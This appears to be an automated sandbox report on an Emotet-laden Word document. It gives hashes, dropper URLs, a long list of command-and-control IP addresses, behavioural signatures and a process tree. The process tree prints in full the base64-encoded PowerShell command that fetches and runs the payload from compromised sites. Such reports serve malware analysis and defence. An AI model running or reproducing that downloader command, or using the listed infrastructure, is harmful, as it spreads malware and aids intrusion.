Analysis
- max time kernel
134s - max time network
145s - platform
windows10_x64 - resource
win10 - submitted
23/07/2020, 12:15
Static task
static1
Behavioral task
behavioral1
Sample
REP_PO_07232020EX.doc
Resource
win7v200722
General
- Target REP_PO_07232020EX.doc
- Size 173KB
- Sample200723-alma4ea76x
- SHA256 86f92d45d74ec723c8b64724e51fcaabfdab548ef22d96a5b851c0545361597e
- MD5 ba89cf90d8b37e93290a3b9b4fd03939
- SHA1 1a7cdc453dd231626899175ac8b5dd63d86f4829
- SHA512 783c2d0b93df91b9ef1bcd7269f62d7619857b3be1e9f9d54150c98283858dc85669447bc88cf3ec62110e2af28fbe6193e72f893cb942a98a41edb25e7e1872
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
https://haoqunkong.com/bn/s9w4tgcjl_f6669ugu_w4bj/
-
exe.dropper
https://www.techtravel.events/informationl/8lsjhrl6nnkwgyzsudzam_h3wng_a6v5/
-
exe.dropper
http://digiwebmarketing.com/wp-admin/72t0jjhmv7takwvisfnz_eejvf_h6v2ix/
-
exe.dropper
http://holfve.se/images/1ckw5mj49w_2k11px_d/
-
exe.dropper
http://www.cfm.nl/_backup/yfhrmh6u0heidnwruwha2t4mjz6p_yxhyu390i6_q93hkh3ddm/
Extracted
-
emotet
-
94.49.254.194:80
-
212.51.142.238:8080
-
91.231.166.124:8080
-
162.241.92.219:8080
-
79.98.24.39:8080
-
109.117.53.230:443
-
78.189.165.52:8080
-
113.160.130.116:8443
-
121.124.124.40:7080
-
101.187.97.173:80
-
168.235.67.138:7080
-
104.131.44.150:8080
-
5.39.91.110:7080
-
139.59.60.244:8080
-
81.2.235.111:8080
-
116.203.32.252:8080
-
61.19.246.238:443
-
176.111.60.55:8080
-
190.55.181.54:443
-
108.48.41.69:80
-
203.153.216.189:7080
-
103.86.49.11:8080
-
104.236.246.93:8080
-
75.139.38.211:80
-
169.239.182.217:8080
-
62.75.141.82:80
-
93.156.165.186:80
-
73.11.153.178:8080
-
157.245.99.39:8080
-
41.60.200.34:80
-
50.116.86.205:8080
-
31.31.77.83:443
-
209.182.216.177:443
-
62.138.26.28:8080
-
95.213.236.64:8080
-
95.179.229.244:8080
-
209.141.54.221:8080
-
91.211.88.52:7080
-
173.91.22.41:80
-
222.214.218.37:4143
-
37.187.72.193:8080
-
137.59.187.107:8080
-
139.130.242.43:80
-
46.105.131.87:80
-
87.106.139.101:8080
-
200.55.243.138:8080
-
5.196.74.210:8080
-
79.7.158.208:80
-
185.94.252.104:443
-
104.131.11.150:443
-
37.139.21.175:8080
-
190.108.228.62:443
-
24.1.189.87:8080
-
91.205.215.66:443
-
186.208.123.210:443
-
108.26.231.214:80
-
201.173.217.124:443
-
110.145.77.103:80
-
190.160.53.126:80
-
162.154.38.103:80
-
78.24.219.147:8080
-
210.165.156.91:80
-
109.74.5.95:8080
-
95.9.185.228:443
-
93.51.50.171:8080
-
200.41.121.90:80
-
46.105.131.79:8080
-
124.45.106.173:443
-
74.208.45.104:8080
-
153.126.210.205:7080
-
87.106.136.232:8080
-
190.144.18.198:80
Signatures
- Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 3068 WINWORD.EXE 3068 WINWORD.EXE 3068 WINWORD.EXE 3068 WINWORD.EXE 3068 WINWORD.EXE 3068 WINWORD.EXE 3068 WINWORD.EXE 3068 WINWORD.EXE 3068 WINWORD.EXE 1332 337.exe 1332 337.exe 1784 storagewmi.exe 1784 storagewmi.exe - Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 3904 powersheLL.exe 3904 powersheLL.exe 3904 powersheLL.exe 1784 storagewmi.exe 1784 storagewmi.exe 1784 storagewmi.exe 1784 storagewmi.exe 1784 storagewmi.exe 1784 storagewmi.exe - Emotet Payload 2 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/1332-7-0x0000000000620000-0x000000000062C000-memory.dmp emotet behavioral2/memory/1784-10-0x0000000002120000-0x000000000212C000-memory.dmp emotet - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3068 WINWORD.EXE 3068 WINWORD.EXE - Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3904 1660 powersheLL.exe 68 - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3904 powersheLL.exe - Suspicious behavior: EmotetMutantsSpam 1 IoCs
pid Process 1784 storagewmi.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\comuid\storagewmi.exe 337.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE - Blacklisted process makes network request 3 IoCs
flow pid Process 8 3904 powersheLL.exe 18 3904 powersheLL.exe 20 3904 powersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 1332 337.exe 1784 storagewmi.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 1332 wrote to memory of 1784 1332 337.exe 76 PID 1332 wrote to memory of 1784 1332 337.exe 76 PID 1332 wrote to memory of 1784 1332 337.exe 76
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\REP_PO_07232020EX.doc" /o ""1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
- Enumerates system info in registry
PID:3068
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C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABsAGkAZQBjAGgAcgBvAHUAaAB3AHUAdwA9ACcAdgB1AGEAYwBkAG8AdQB2AGMAaQBvAHgAaABhAG8AbAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYABjAHUAUgBpAFQAeQBgAFAAUgBPAGAAVABvAEMAYABvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABkAGUAaQBjAGgAYgBlAHUAZAByAGUAaQByACAAPQAgACcAMwAzADcAJwA7ACQAcQB1AG8AYQBkAGcAbwBpAGoAdgBlAHUAbQA9ACcAZAB1AHUAdgBtAG8AZQB6AGgAYQBpAHQAZwBvAGgAJwA7ACQAdABvAGUAaABmAGUAdABoAHgAbwBoAGIAYQBlAHkAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAGQAZQBpAGMAaABiAGUAdQBkAHIAZQBpAHIAKwAnAC4AZQB4AGUAJwA7ACQAcwBpAGUAbgB0AGUAZQBkAD0AJwBxAHUAYQBpAG4AcQB1AGEAYwBoAGwAbwBhAHoAJwA7ACQAcgBlAHUAcwB0AGgAbwBhAHMAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAG4ARQB0AC4AdwBlAEIAYwBsAEkAZQBuAFQAOwAkAGoAYQBjAGwAZQBlAHcAeQBpAHEAdQA9ACcAaAB0AHQAcABzADoALwAvAGgAYQBvAHEAdQBuAGsAbwBuAGcALgBjAG8AbQAvAGIAbgAvAHMAOQB3ADQAdABnAGMAagBsAF8AZgA2ADYANgA5AHUAZwB1AF8AdwA0AGIAagAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AdABlAGMAaAB0AHIAYQB2AGUAbAAuAGUAdgBlAG4AdABzAC8AaQBuAGYAbwByAG0AYQB0AGkAbwBuAGwALwA4AGwAcwBqAGgAcgBsADYAbgBuAGsAdwBnAHkAegBzAHUAZAB6AGEAbQBfAGgAMwB3AG4AZwBfAGEANgB2ADUALwAqAGgAdAB0AHAAOgAvAC8AZABpAGcAaQB3AGUAYgBtAGEAcgBrAGUAdABpAG4AZwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ANwAyAHQAMABqAGoAaABtAHYANwB0AGEAawB3AHYAaQBzAGYAbgB6AF8AZQBlAGoAdgBmAF8AaAA2AHYAMgBpAHgALwAqAGgAdAB0AHAAOgAvAC8AaABvAGwAZgB2AGUALgBzAGUALwBpAG0AYQBnAGUAcwAvADEAYwBrAHcANQBtAGoANAA5AHcAXwAyAGsAMQAxAHAAeABfAGQALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBjAGYAbQAuAG4AbAAvAF8AYgBhAGMAawB1AHAALwB5AGYAaAByAG0AaAA2AHUAMABoAGUAaQBkAG4AdwByAHUAdwBoAGEAMgB0ADQAbQBqAHoANgBwAF8AeQB4AGgAeQB1ADMAOQAwAGkANgBfAHEAOQAzAGgAawBoADMAZABkAG0ALwAnAC4AIgBzAGAAUABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAHMAZQBjAGMAaQBlAHIAZABlAGUAdABoAD0AJwBkAHUAdQB6AHkAZQBhAHcAcAB1AGEAcQB1ACcAOwBmAG8AcgBlAGEAYwBoACgAJABnAGUAZQByAHMAaQBlAGIAIABpAG4AIAAkAGoAYQBjAGwAZQBlAHcAeQBpAHEAdQApAHsAdAByAHkAewAkAHIAZQB1AHMAdABoAG8AYQBzAC4AIgBkAE8AVwBOAGAAbABvAEEAYABkAGYAaQBgAEwAZQAiACgAJABnAGUAZQByAHMAaQBlAGIALAAgACQAdABvAGUAaABmAGUAdABoAHgAbwBoAGIAYQBlAHkAKQA7ACQAYgB1AGgAeABlAHUAaAA9ACcAZABvAGUAeQBkAGUAaQBkAHEAdQBhAGkAagBsAGUAdQBjACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQAdABvAGUAaABmAGUAdABoAHgAbwBoAGIAYQBlAHkAKQAuACIAbABgAGUATgBHAFQASAAiACAALQBnAGUAIAAyADQANwA1ADEAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAYABSAGUAYQBUAGUAIgAoACQAdABvAGUAaABmAGUAdABoAHgAbwBoAGIAYQBlAHkAKQA7ACQAcQB1AG8AbwBkAHQAZQBlAGgAPQAnAGoAaQBhAGYAcgB1AHUAegBsAGEAbwBsAHQAaABvAGkAYwAnADsAYgByAGUAYQBrADsAJABjAGgAaQBnAGMAaABpAGUAbgB0AGUAaQBxAHUAPQAnAHkAbwBvAHcAdgBlAGkAaABuAGkAZQBqACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAHQAbwBpAHoAbAB1AHUAbABmAGkAZQByAD0AJwBmAG8AcQB1AGwAZQB2AGMAYQBvAGoAJwA=1⤵
- Suspicious behavior: EnumeratesProcesses
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Blacklisted process makes network request
PID:3904
-
C:\Users\Admin\337.exeC:\Users\Admin\337.exe1⤵
- Suspicious use of SetWindowsHookEx
- Drops file in System32 directory
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1332 -
C:\Windows\SysWOW64\comuid\storagewmi.exe"C:\Windows\SysWOW64\comuid\storagewmi.exe"2⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: EmotetMutantsSpam
- Executes dropped EXE
PID:1784
-